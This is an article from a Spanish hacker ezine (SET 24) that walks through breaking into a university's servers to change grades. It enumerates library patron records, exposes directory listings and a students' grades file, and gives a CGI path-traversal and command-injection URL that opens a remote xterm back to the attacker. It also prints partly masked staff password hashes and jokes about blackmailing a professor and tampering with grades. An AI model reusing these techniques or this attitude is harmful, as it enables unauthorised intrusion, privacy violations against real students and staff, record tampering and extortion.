SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 24

79138 visitas

Que estudie Rita

      4644

Autor: Janis
-[ 0x09 ]--------------------------------------------------------------------
-[ Que estudie Rita ]--------------------------------------------------------
-[ by Janis ]---------------------------------------------------------SET-24-


 S.E.T. Ezine presenta, en exclusiva....

             ------------------------------------------
              -=  Q U E    E S T U D I E   R I T A  =-
             ------------------------------------------
                 o como cambiarse las notas por internet

  					                janis@set-ezine.org


  Casi-a-diario, todos los grupos de hack reciben correos del estilo:
'sois-de-pm-quiero-cambiarme-las-notas'. Esto no resulta mas que una excusa
para que el que conteste el correo se parta el nabo y cuente algun que otro
chiste elaborado, etc.

  Pues bien, nosotros somos buena gente y POR FIN vamos a contarte como
cambiarte las notas. O al menos a tener acceso a los ordenadores de tu
universidad (porque tampoco conozco muchos instituos o colegios con acceso
externo a sus ordenadores).

  Bueno y que ordenadores empezamos a manipular? Pues en principio
cualquiera nos valdria... puesto que esto de las redes universitarias tienen
la caracteristica principal de que suelen ser seguras desde fuera pero desde
dentro suelen compartir un monton de cosas... netbios, rpc's... etc.

  Asi que hacemos una toma (virtual) de un server IRIX de dentro de nuestra
universidad (via infosrch o via webdist) y pillamos root. Despues de tener
todas las herramientas que nos ayudaran (smbclient, nat, etc.) empezamos con
nuestra mision: CAMBIARNOS LAS NOTAS.

  Empezamos con la biblioteca. Por que? porque... es el lugar donde
deberiamos empezar a estudiar si quisieramos aprobar 'legalmente'... jeje.

(Los comentarios van precedidos de *)

--------------------------------------------------------------


nostalgia # telnet biblioteca.univ.es

UNIVERSIDAD **********

PROYECTO DE AUTOMATIZACION
DE LA BIBLIOTECA

BIENVENIDO AL ALPHA  1/5 DE LA ***

Username: biblioteca

* Elite eh? ;)                                                                                                                                                                                                                                                                                                                                                                                                                                    

    Last interactive login on Sunday, 15-OCT-2000 13:59:48.24
    Last non-interactive login on Tuesday, 10-OCT-2000 19:11:13.71

                   Este es el sistema de BIBLIOTECAS

Habra un breve retardo hasta que aparezca el primer menu.
Para abandonar el sistema de bibliotecas teclee 'EXIT' desde cualquier menu.

......LIBERTAS......

LIBERTAS 7.1 Sistema de Gestion de Bibliotecas         Universidad


              Codigo
               1  CONSULTA DEL CATALOGO
               2  SU USO PERSONAL DE LA BIBLIOTECA
               4  SELECCION DEL CODIGO DE IDIOMA
               6  INFORMACION SOBRE LA BIBLIOTECA
               ?  Ayuda


Seleccione la opcion y presione RETURN:

* Bueno, ya hemos 'entrado' en nuestra primera maquina. Puesto que tengo el
* espacio limitado, diremos que este programa corria sobre un OpenVMS (algo de
* lo que no tengo la mas remota idea de como toquetear). El sistema LIBERTAS
* es un sistema bastante seguro (es decir no tiene overflows conocidos)
* de gestion de bibliotecas y muy usado por las  universidades...
* Probamos la opcion 2.

SU USO PERSONAL DE LA BIBLIOTECA

              Codigo
               2  Lista de los ejemplares que tiene en prestamo
               /  Vuelta al menu principal
               ?  Ayuda

* Opcion 2 again.

CONSULTA POR PRESTAMOS

        Teclee el numero de su carnet de usuario
        (o, para terminar, teclee "/" y pulse RETURN):

* Esto me llevo algun tiempo. No sabia el numero exacto de cifras que debia
* tener el puto numerito y aun asi aunque metiera las cifras exactas no sabia
* si correspondia a un numero valido. Aplicando algo de 'ingenieria social'
* o mas bien 'cartera-surfing' logre sisarle un numero a un colega (jeje)


CONSULTA SOBRE PRESTAMOS
???????????, Juan          0532??????          Ningun prestamo
  Rios Rosas,??                 ,              Ninguna reserva



                 * No existen prestamos en relacion con este carnet *

* Hum, esto realmente no me sirve de nada, asi que empezamos a probar nuevos
* numeros.

PAGINA DE AYUDA

Teclee el numero que aparece en su carnet de usuario.
Si el numero consta como incorrecto, acuda a un empleado de la biblioteca.

* Luego entonces no van seguidos... probamos el numero + 2, +3... etc. +9

CONSULTA SOBRE PRESTAMOS
???????????, Maria          0532??????          1 prestamo
  Villajoyosa,??                 ,                  Ninguna reserva

     Martin Perez, Cesar.  Linux / Cesar Martin Perez... Ismael Perez
     Crespo.
             D.L. 1998


* Como podeis ver, muchas mujeres no solo tiramos con el windoze.
* Wow! Eso es un algoritmo de generacion de numeros de tarjeta. 
* Numero = Semilla + 9 * n
* Ideal para una empresa de publicidad, poner un programa a recopilar
* direcciones y nombres de personas y ofertar sus pantaloncitos de moda.
* Este tipo de servicios es interesante para saber que tipo de libros sacan
* los profesores, etc. (da igual que pongais una clave para acceder, siempre
* que sea por defecto nos la saltaremos por la jeta).


CONSULTA SOBRE PRESTAMOS
 Olcoz H??????, K???????          0532??????          1 prestamo
   ?????????,??                 ,                  Ninguna reserva

    Impotence : an integrated approach to clinical practice / edited by
       Alain Gregoire ,John P.Pryor.
       Edinburgh [etc] : Churchill Livinstone, 1993. - 231 p. ; 25 cm. -
       0-443-04369-8

* Que fuerte. 
* Total, que tenemos acceso a las direcciones, nombres reales y libros
* prestados de toda la universidad. Esto lo podriamos usar para amenazar a
* algun profesor para que nos subiera la nota, a costa de no publicar sus
* problemas sexuales por toda la facultad (jejeje)

-------------------------------------------------------------------------

  En fin, tampoco hemos obtenido nada del otro mundo.

  Una vez visitada la biblioteca es interesante ir un poco al centro
neuralgico de las redes informaticas. Normalmente suelen ser las facultades
de informatica y de telecomunicaciones las que parten el bacalao aqui. Son
las que pillan los router, los instalan (mal) y en definitiva hacen el
trabajo sucio para que luego nuestros amigos los funcionarios se dediquen a
ver paginas de 'el bus' en vez de trabajar.

Luego miramos la facultad de informatica.

-----------------------------------------------------------------------------

HTTP/1.1 200 OK
Server: Netscape-Enterprise/3.6
Date: Thu, 14 Sep 2000 22:18:19 GMT
Content-type: text/html
Connection: close


* Apostaria a que es un NT... de los headers uno ya no se fia.
* La verdad es que los NT no son mi punto fuerte asi que me limitare a
* seguir obteniendo cosillas de este servidor. Veamos.

nostalgia # lynx www.esi.univ.es


                                          Informacion local de la ESI

                                  *. *. *.

                 ->     Pagina de Informacion

                 ->     Informacion interna de la ESI

                 ->     Becas Erasmus

                 ->     Metabuscador Inteligente "El Aleph"


----------------------------------------------------------------------


* Hum eso de informacion interna puede ser interesante para nuestro
* objetivo. Veamos que nos dice el link

Username for 'Enterprise Server' at server 'www.esi.univ.es'?:

* mal rollo. Si no tienes cuenta no puedes entrar.
* Como se comentaba por aqui, empece a probar lo tipico:
* dios, amor, sexo, etc. Tristemente no funciono.
* Me baje los pdf de Netscape pero eran un toston del carajo. Y tampoco
* venia nada del otro mundo. Probemos trucos sucios

nostalgia # lynx www.esi.univ.es/?wp-cs-dump

   Name                   Last modified     Size  Description
----------------------------------------------------------------------
 [DIR]  Aleph/                 05-Apr-00 09:26     0K 
 [DIR]  Erasmus/               05-Apr-00 09:26     0K 
 [   ]  Plano_Lab1.doc         05-Apr-00 09:28    60K 
 [   ]  Plano_lab2.doc         05-Apr-00 09:28   200K 
 [   ]  WS_FTP.LOG             05-Apr-00 09:28     2K 
 [IMG]  banner.gif             04-Apr-00 18:32     3K 
 [TXT]  default.htm            05-Apr-00 09:28     4K 
 [IMG]  devplatform.gif        04-Apr-00 18:32     1K 
 [DIR]  direccion/             14-Sep-00 19:56     0K 
 [IMG]  enterprise_sm.gif      04-Apr-00 18:32     2K 
 [IMG]  escudo.gif             05-Apr-00 09:28    11K 
 [DIR]  esi_intranet/          05-Apr-00 09:26     0K 
 [IMG]  fondo.jpg              05-Apr-00 09:28     2K 
 [IMG]  fountainpen3.jpg       04-Apr-00 18:32     6K 
 [IMG]  hat4.jpg               04-Apr-00 18:32     6K 
 [IMG]  image4.gif             05-Apr-00 09:28   314K 
 [TXT]  index.html             05-Apr-00 09:28     1K 
 [TXT]  index.html.old         05-Apr-00 09:28     1K 
 [TXT]  index_dav.html         05-Apr-00 09:28     2K 
 [TXT]  info_int.html          05-Apr-00 09:28     1K 
 [DIR]  interna.borrar/        05-Apr-00 09:27     0K 
 [IMG]  key4.jpg               04-Apr-00 18:32     4K 
 [IMG]  magnifier2.jpg         04-Apr-00 18:32     4K 
 [   ]  red_esi1.doc           05-Apr-00 09:28    25K 
 [   ]  red_esi2.doc           05-Apr-00 09:28    21K 
 [DIR]  samples/               05-Apr-00 09:27     0K 
 [DIR]  servlets/              05-Apr-00 09:28     0K 
 [IMG]  sspower3.gif           04-Apr-00 18:32    16K 
 [IMG]  suitespotlogo.gif      04-Apr-00 18:32     1K 
 [DIR]  tmp/                   13-Sep-00 11:55     0K 


* Ups! Eso parece un directorio del servidor web. Es interesante el ver como
* esta constituida la red... es gracioso

nostalgia # mswordview red_esi1.doc

PUNTOS DE VOZ Y DATOS EN LAS DEPENDENCIAS DE LA E.S.I. EN BIOLOGICAS PUNTOS
QUE EXISTEN ACTUALMENTE 
(No se especifica la agrupacion de puntos en dobles
y sencillos debido a la diversidad existente) Laboratorio 1 (Cableado
estructurado) 46 puntos de red sin conexion a Internet: 29 funcionan y en
uso, y 18 no funcionan.

* jeje

1 punto de voz en uso
1 armario (sin salida a la red externa) con:
2 Hubs-switch de 1 0 Mb y 24 entradas.
1 Modulo de conexiones de 48 entradas (solo 1 libre)
(cableadas al Hubs-switch, solo las 29 en uso).
Laboratorio U (Cableado estructurado)
34 puntos de red sin conexion a Internet: 22 funcionan y en uso, y 12 no
funcionan.

* joder teneis un monton de chatarra aqui metida jejeje.

1 punto de voz en uso
1 armario (con salida a la red externa) con:
1 Bandeja Optica de 4 lineas (8 canales): solo 1 linea en uso
Transceiver Optico-AUI
Hub de acceso externo de 16 entradas (9 en uso)

* 10 con la mia :P

Hub-switch de 24 entradas de 1 0 Mb (3 libres) y 2 de 1 00 Mb (1 libre)

* Pues nada. De esto sacamos dos conclusiones. La E.S.I. (suponemos que la
* escuela superior de ingenieria) no tiene facultad propia, puesto que sus
* puntos se reparten entre Biologicas y Matematicas. Y segundo que la 
* mitad de su maquinaria de red esta estropeada (ya estaba asi cuando yo
* llegue).

* El resto de los docs muestran mapas bastante interesantes de como va la red
* interna, pero si nos damos cuenta no hay gran cosa que hacer, la mitad
* de las cosas estan estropeados (menudos ingenieros) y tampoco tienen
* salida a internet.

* Sin embargo, me jode eso de no poder pasar a la intranet. Las intranet no
* deberian existir o al menos no es termino. Intranet suena mal. Que lo
* llamen redes locales. Parece una chorrada pero es importante. 
* Quizas con suerte...

nostalgia # lynx www.esi.univ.es/interna.borrar/?wp-cs-dump

                              Index of /interna.borrar/

   Name                   Last modified     Size  Description


---------------------------------------------------------------------------

 [DIR]  Parent Directory
 [   ]  WS_FTP.LOG             05-Apr-00 09:27     1K 
 [DIR]  avisos/                05-Apr-00 09:26     0K 
 [DIR]  biblio/                05-Apr-00 09:26     0K 
 [TXT]  index.html             05-Apr-00 09:26     1K 
 [DIR]  laboratorios/          05-Apr-00 09:26     0K 


* Bueeeeeeeeeno algo es algo. No es la red interna, pero lo parece.
* Miremos que tiene esto por aqui. Pongamonos en avisos.

  Informaciones de interes para los profesores que imparten docencia 
 (curso 99-00)

* Esto tiene delito. Informaticos serios utilizando NT?? anda ya!.

 Dada la dispersion geografica de los locales en los que se imparten las
asignaturas de la ESI, asi como de los departamentos responsables de dicho
docencia, con objeto de facilitar a los alumnos la localizacion de las
calificaciones y avisos de interes, a partir del 1 de octubre se van a
introducir algunos cambios en la organizacion de los tablones de anuncos. En
particular, cada curso de cada titulacion de la ESI tendra asignado un
tablon convenientemente senalizado.

* Esto es un monton de mierda. Posteriormente un 'amigo' me dio un acceso a la
* intranet real de la ESI y resulto ser lo mismo que lo que ahora todo dios
* debe estar leyendo. Lo cachondo no es que un pu~ado de patanes tengan una
* copia de seguridad para todo el mundo de algo supuestamente privado.
* Lo triste es que lo privado sea publico. Es decir en esos docs viene
* informacion de caracter publico y que se puede obtener sin tener que
* hackear. Se~ores de la universidad no nos hagan perder el tiempo tontamente.



                         Index of /interna.borrar/biblio/

   Name                   Last modified     Size  Description


---------------------------------------------------------------------------

 [DIR]  Parent Directory
 [TXT]  Ayuda.html             05-Apr-00 09:26     2K 
 [IMG]  Biblio.gif             05-Apr-00 09:26     1K 
 [TXT]  CDInvest.html          05-Apr-00 09:26     3K 
      ....
 [TXT]  investigacion.txt       05-Apr-00 09:26   220K 


* Me da a mi que aqui tampoco vamos a encontrar gran cosa. Veamos en
* investigacion.txt

 Fecha de la ultima modificacion: 29/04/99      Informacion Reducida                 
    Menu de Biblioteca                  Libros de Investigacion

* Es curioso. Muy curioso pero segun la maquina de la biblioteca, ninguno de
* estos libros que aparecen estaban disponibles para los alumnos.
* Como cojones pretenden que un pu~ado de crios aprenda como organizar una red.
* A que huevos tanto secretismo?
* Quizas titulos como este lo desvele.

  Titulo: Basic basico : guia para principiantes
     Autor(es): Fox, David
     Publicacion: Naucalpan de Juarez, Mexico : Osborne, 1985
     Materia(s): Basic (Lenguaje de programacion)
     CDU: 800.92 BASIC
     Signatura: M800.92BAS FOX

* Basic basico. Logica logica. Que afortunados son los estudiantes de esta
* carrera.
* Pues nada. Lo dicho que los NT no son lo mio, entras en un servidor, entras
* en la intranet para encontrarte que lo que hay ya estaba fuera, ni tarjetas de
* credito ni passwords ni control de lanzamiento de misiles. Nada de nada.
* Como nota curiosa miramos el /tmp

                                  Index of /tmp/

   Name                   Last modified     Size  Description


---------------------------------------------------------------------------

 [DIR]  Parent Directory
 [   ]  (11-07-2000) Tareas p+ 11-Jul-00 13:10    31K 
 [   ]  Examenes-Junio 2000 c+ 30-May-00 16:51    35K 
 [   ]  Examenes-Junio 2000.d+ 30-May-00 16:51    35K 
 [DIR]  cobol/                 31-May-00 17:24     0K 
 [DIR]  david/                 13-Sep-00 12:04     0K 
 [   ]  material.doc           30-May-00 14:09   158K 
 [DIR]  prog/                  09-Aug-00 10:43     0K 
 [DIR]  redhat-6.2/            21-Jun-00 09:17     0K 

---------------------------------------------------------------------------

  Buah! la verdad es que tampoco hemos logrado algo espectacular... asi
que vamos a otro servidor... lo de los examenes eran fechas... asi que
pasamos a otro sitio

----------------------------------------------------------------------------
www.ice.univ.es

HTTP/1.0 200 OK
Server: Microsoft-IIS/3.0
Date: Mon, 23 Oct 2000 23:16:05 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Mon, 02 Feb 1998 11:49:04 GMT
Content-Length: 285

*  Dios! otro NT!

nostalgia # links www.ice.univ.es


               Universidad *****************

            Instituto de Ciencias de la Educacion

                           (I.C.E.)

   ---------------------------------------------------------

         Director: Ilmo. Sr. D. G????? V?zquez Gom?z

   ---------------------------------------------------------

* ahm.
* A ver: QUIERO CAMBIAR MIS NOTAS!

               UNIVERSIDAD ****************

INSTITUTO DE CIENCIAS DE LA EDUCACION

              Calificaciones de la PARTE PRACTICA
              (Practicas y Memoria de Practicas).
                    (Convocatoria de Junio)

 Si Vd ha entregado la Memoria de Practicas y el Certificado
 de su Tutor en forma y plazos establecidos y desea saber, a
 titulo informativo, la calificacion, intorduzca el numero de
 su DNI en el apartado correspondiente.

         DNI (sin puntos) _______________

                          [ Buscar ]

* Ah! que bueno.
* Que pasa si metemos un DNI aleatorio...

INSTITUTO DE CIENCIAS DE LA EDUCACION

   ---------------------------------------------------------

        Estos datos se ofrecen con caracter INFORMATIVO

   ---------------------------------------------------------

  Su DNI no se corresponde con el de ninguna de las memorias
           recepcionadas en la convocatoria de junio

* Logico. Yo estudio Filologia Hebrea....
* Pues me hago la loca... y miro

nostalgia # links www.ice.univ.es/cgi-bin/


                                  /cgi-bin/ -


----------------------------------------------------------------------

    2/03/00    18:11       308988 AlDocCor.txt
   28/11/96    19:07        29696 author.cgi
    5/02/98    10:33       277204 base.txt
   21/01/98     9:49         5143 cgi_lib.class
   26/01/00    20:51         1290 cgiAdmit.pl
   22/12/99    13:04         4556 cgiConval.pl
   27/01/98     9:51         4968 CGI-LIB.pl
    1/02/00    12:29         1385 cgiNot00.pl
    2/03/00    17:52         1875 cgiNot200.pl
   29/02/00    19:43         1825 cgiNot300.pl
    5/02/98    10:01         1845 cginotas.pl
    9/02/98     9:15         4261 cginotas2.pl
    2/03/00     9:04         2297 cgiNotPr.pl
    8/06/00    12:17         2366 cgiNotPrJun.pl
   29/02/00    19:07        28841 nota2cgi.txt
   29/02/00     7:58       262965 notascgi.txt
   23/03/00    11:43       225487 NotPrCGI.txt
   28/06/00    18:54       124680 NotPrCGIjun.txt
   21/01/98    10:13           58 pata.bat
   21/01/98    10:13           58 pata2.cgi


* Toma! y esto? Es curioso lo que te puede mostar un server web mal
* configurado. RTFM, baby!
* Esos txt parecen sospechosos...

nostalgia # links www.ice.univ.es/cgi-bin/notascgi.txt

5085??00;A??? BALANDRON, LAURA;APTO;CV
83??23;A??? CANAS, MIGUEL ANGEL;APTO;APTO
5081??05;A??? MARTINEZ, MARIA JOSE;APTO;APTO
52??6879;A??? MEGIA, SONIA;N.P.;N.P.
28770??;A??? PUERTOLAS, PALOMA;APTO;APTO
531??882;AB???? CONTRERAS, ANA MANUELA;APTO;APTO
56679??;A???? AZPIAZU, JOSE VICTOR;APTO;APTO
53??9201;AB???? REQUES, MARIA PILAR;APTO;APTO
459??09;A???? TORRALBA, SONIA;APTO;APTO
      
       .... etc.

* Pues nada. A rular nuestro iishack.c y nos colocamos una aprobadillo (
* si no lo teniamos ya). Y si alguien nos cae mal pues le suspendemos y nos
* reimos un rato.

--------------------------------------------------------------------

  Mala cosa, no hemos encontrado nada que sea interesante. Es hora de
plantearse grandes objetivos, no se algo realmente dificil de conseguir...

  Probemos con www.univ.es


 Empezamos a navegar por la pagina y nos cuenta lo de siempre, la historia
de la univ, que si tiene doscientos mil a~os de historia, becas,
doctorados, secciones departamenales... etc. etc. pero en materia de hack
no hay nada que sea muy interesante, todo va con HTML puro y duro, ni PHP,
ni SSI, ni zarandajas por el estilo. Nada. Tendria que probar con los
CGI. Pasando el scanner, entre un monton de ellos me encontre con los
siguientes:

phf -  Anda ya... teniendo en cuenta que era un Apache 1.3.12 la cosa
       estaba clara, era una falsa alarma (el cgi existia).
view-source - Su utilidad tenia.
www-sql     - Otro que tal canta. 

  Gracias al view-source me pude bajar una cantidad inmensa de CGI's,
hacerme mas o menos un mapeado del host (gracias al lynx que te muestra
todo lo que te viene desde el 80, con lo cual el view-source era capaz de
mostrar directorios etc.).
  
   La maquina tenia su truco, puesto que aunque tenia un /etc/passwd
bastante grande, cuentas reales habia diez contadas, el resto tenian en el
campo del interprete un /bin/false como una catedral. Seguramente tenian
alguna utilidad via web para actualizar paginas y tal.

  Total que busca q te busca me encuentro con el cgi de busquedas llamado
'sidreria', del cual os pongo algunas cosas interesantes:


#!/usr/local/bin/perl
# sideria: Interface para llamar a una base de datos indexada con
# freeWAIS-sf,
#          Isearch, swish, glimpse o MySQL desde el servidor WWW.
#
# Autor                   : Z?c??ias M??t?n (z?c?@sis.univ.es)
# Fecha de creacion       : 25 de Abril de 1994
# Ultima modificacion por : El mismo de arriba.
# Ultima modificacion en  : Enero de 2000
# Lenguaje                : Perl 5
# Numero de modificaciones: No las llevo contadas
# Estado                  : Desconocido, usar con cuidado

* Al loro la nota. Usar con cuidado XDDD no comments.

$version = "5.9";
$| = 1;
#$ENV{'LANG'} = "es_ES";
#@dat = `locale`;
#print "Content-type: text/html\n\n";
#print @dat;
#exit;
while ($ARGV[0] ) {          # Pasando argumentos
   if ($ARGV[0] eq '-v' ) { # Se ha pedido la version
      print " Version: $version\n";
      print "   Autor: el de arriba (z?c?\@sis.univ.es)\n";
      exit;
   } elsif ($ARGV[0] eq '-b') { # Modo batch, desde la linea de comandos
      shift(@ARGV);
      $ENV{'REQUEST_METHOD'} = "GET";
      $ENV{'QUERY_STRING'} = shift(@ARGV);
      $batch = 1;
      $ENV{'HTTP_USER_AGENT'} = "Mozilla";

* Blah blah blah empieza a tratar los argumentos y a mostrar distintas
* respuestas. A lo largo de 100 o 200 lineas empieza a inicializar
* variables como el path de los programas (glimpse, SQL, etc.),
* localizacion de documentos web etc. etc. 

sub haz_wais {# Subrutina para hacer la busqueda en la base local wais
sub resultado_busqueda {
sub buscar_titulo_guia {

* Esto es un CGI, 8000 lineas de codigo no pueden estar equivocadas,
* subprocedimientos, parametrizacion hasta la bandera... Dios, no me
* extra~a que hayan tardado 6 a~os en hacerlo.
* Un procedimiento que me llamo la atencion era este.

sub leer_formulario {
   #print "Content-type: text/html\n\n";

   # quitar acceso de lycos
    if ($ENV{'REMOTE_ADDR'} =~ /^209\.67\.229\./) {
        print "Content-type: text/html\n\n No tiene permiso para
        consultar";
        exit;
    }

* Que tendran esta gente contra esas IP's ? Seran gente de otra
* universidad? muy fuerte. Aparte de esto, este procedimiento es bastante
* interesante por un motivo: se le pueden meter parametros. Eso es bueno.

if ($ENV{'REQUEST_METHOD'} eq "GET") { #Leer si el formulario es GET

* Hasta ahora, el CGI llevaba buen camino, porque todo lo procesado era
* interno,  es decir no llevaba nada de datos del usuario. Ahora es cuando
* viene la parte jodida.

foreach (@variables) {
          ($name, $value) = split(/=/);
          $value =~ tr/+/ /;
          $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
          $name =~ tr/+/ /;
          $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;


* Aqui basicamente le hace un tratamiento a las variables, las separa, las
* convierte de ASCII normal (solo las letras) a hexadecimal ... sin
* embargo, no toca en ningun caso los metacaracteres. Veamos que dice 
* el maestro, rfp.
*
* nostalgia # grep -A 4 'WWW Security' P55-07
* If you take a look at the W3C WWW Security FAQ, you'll see the
* recommended list of shell metacharacters is:
*
*        &;`'\"|*?~<>^()[]{}$\n\r
*
* Esta claro no? Hay que eliminar esos caracteres. Sigamos viendo nuestro 
* CGI.

 $name =~ /body_bgcolor/i && do { 
               $body_bgcolor = $value;
          };
          $name =~ /body_text/i && do { 
               $body_text = $value;
          };
          $name =~ /body_link/i && do { 
               $body_link = $value;
          };

* El cgi va desmembrando poco a poco lo que ha recibido por parametros
* (menudo curso de Perl os estoy dando).
* Un momento esto de aqui es sospechoso!

       $name =~ /^pie de pagina/i && do {
              $file_pie_pagina = $value;
              open(PIE,"/usr/local/etc/httpd/htdocs$value");
              undef($/);
              $pie_pagina = <PIE>;
              close(PIE);
              $/ = "\n"

* Cagada. Eso es una cagada. Esta diciendo que quiere abrir un archivo
* que le pasan como parametro. Esto es una estupidez puesto que siempre se
* deberia abrir el mismo archivo luego podemos quitar el value y poner
* directamente el archivo .htm (o lo que queramos).
* Como hemos visto, no se ha parseado la entrada, luego podemos meter lo
* que queramos por ese valor.

nostalgia # lynx
'www.univ.es/cgi-bin/sidreria?pie+de+pagina=/../../../
 ../../../usr/bin/X11/xterm%20-display%20nostalgia:0-ut%20|'

* Bingo!, tenemos nuestra xterm rulando! ya estamos dentro del servidor!
*
* Aqui se termina esta odisea. Evidentemente no voy a decir si me hice
* root, si pude cambiar la pagina, pillar passwords y cuentas
* etc. porque... no viene al caso ;).
*
* Sin embargo, este servidor o al menos sus administradores me tenian
* mosca. O eran muy listos o eran muy tontos.
* Llego un tiempo en que o los admins se dieron cuenta de que 'algo raro
* ocurria' o revisaron el codigo 'porque tocaba'.

* Total que cambiaron mi querido view-source por esto:

#!/bin/sh
# Modified by Luis P?d?ll? (p?d?ll?@sim.univ.es) to avoid ../, ;, | and `
# characters. 16-6-2000.

if [ $# = 1 ]; then
        echo Content-type: text/plain
        echo
        check=`echo $1 | egrep '\.\./|[;\`|]' | head -c 1`
        if [ "X$check" = "X" ]; then
                cat $DOCUMENT_ROOT/$1
        else
                echo "Your unauthorized request has been logged."
        fi
else
        echo Content-type: text/html
        echo
        cat << EOM

*  Que como consegui esto? pues... con el mismo sidreria!.
* Ya que la ejecucion remota no funcionaba, en un principio pense 'que
* pollas, lo han filtrado', sin embargo no nos pasaba nada por intentar
* otros meta caracteres... que luego no funcionaron. :(. Total que
* probando, probando intente meter como parametro el '/etc/passwd/ y 
* bingo! volvia a tener acceso a algo dentro del servidor.
* Puesto que todo lo que queria hacer en ese servidor ya estaba hecho,
* ahora era una cuestion personal, queria saber porque la ejecucion remota
* no rulaba y si el ver los archivos. 

          $name =~ /^pie de pagina/i && do {
          if (&Check_file("/usr/local/etc/httpd/htdocs$value")) {
              $file_pie_pagina = $value;
               open(PIE,"/usr/local/etc/httpd/htdocs$value");

*  JODER! Que chapuza! ahora entiendo porque funcionaba. si metia
* ../archivo a la vista del Check_file el archivo existe! 

---------------------------------------------------------------------

 Lo gracioso del tema es que sidreria es un cgi que estaba en ese
servidor... el cual podemos decir que internamente era a prueba de
script-kiddie, estaba mas o menos actualizado, era un SO seguro (OSF-1), y
sobre todo poseia el /etc/shadow. Lo cual no quiere decir que fuera
invencible. Un pequen~o bug en cierta utilidad de edicion de textos (leeros
el Huevo del Cuco, Clifford Stoll), permitio que tuvieramos acceso a
determinados datos.. interesantes.

  Otros server, casualmente, tb tienen un acceso a este cgi, pero
desgraciadamente no tienen... el shadow. Como soy buena persona, no dire
que server es, puesto que... robar passwords es malo. Pero como hay mucho
incredulo aqui teneis una muestra.

fifat03:DoHnTp2f****:967:703:Luis P?d?ll? Visdomine:/mnt/fifat03:/bin/tcsh
^^^ 
este es el pesado del view-source

zaca:qicVGlsu*****:127:49:Z?c????s M????n:/mnt/zaca:/bin/tcsh
^^^
este es el creador del sidreria


  Bueno... algo es algo. 

---------------------------------------------------------------------------
Nota curiosa:

nostalgia # telnet printer.univ.es


Escape character is '^]'.

HP JetDirect

Please type "?" for HELP, or "/" for current settings
> ?

        To Change/Configure Parameters Enter:
        Parameter-name: value <Carriage Return>

        Parameter-name  Type of value
        ip:             IP-address in dotted notation
        subnet-mask:    address in dotted notation
        default-gw:     address in dotted notation
        syslog-svr:     address in dotted notation
        idle-timeout:   seconds in integers
        set-cmnty-name: alpha-numeric string (32 chars max)
        host-name:      alpha-numeric string (upper case only, 32 chars max)
        dhcp-config:    0 to disable, 1 to enable
        ipx/spx:        0 to disable, 1 to enable
        dlc/llc:        0 to disable, 1 to enable
        ethertalk:      0 to disable, 1 to enable
        banner:         0 to disable, 1 to enable

        Type passwd to change the password.

* Jua jua jua. Ni password ni hostias en vinagre.
> passwd

 Enter Password[16 character max.; 0 to disable]: >
* Arf que tensionnnn.

Password not set

* Lo dejamos...

*  Bueno la verdad es que tampoco tiene mucho sentido y/o utilidad... mas que
* imprimir mensajes chorra por el puerto del printer.

-----------------------------------------------------------------------------

  En fin. Aunque tengo mucho mas que poner sobre como proteger los puertos
rpc (millones de /home, con sus correos en casita) y netbios (por favor, no
dejen los examenes al alcance de cualquiera con una shell y smbclient)... no
lo voy a poner porque... no es necesario. Bastante tenemos con saber que la
universidad sigue manteniendo la tradicion historica de red 'insegura'. 

  A ver cuando cojones esos burocratas de ahi arriba, empezando por los
rectores, decanos y terminando con las delegaciones de alumnos politizadas
empiezan a darse cuenta que la universidad deberia transformar a una panda
de mocosos en profesionales y no que los mocosos tengan que hacer
profesionales a una panda de burocratas.
					
								Janis
			                                       -------
							<janis@set-ezine.org>


  *EOF*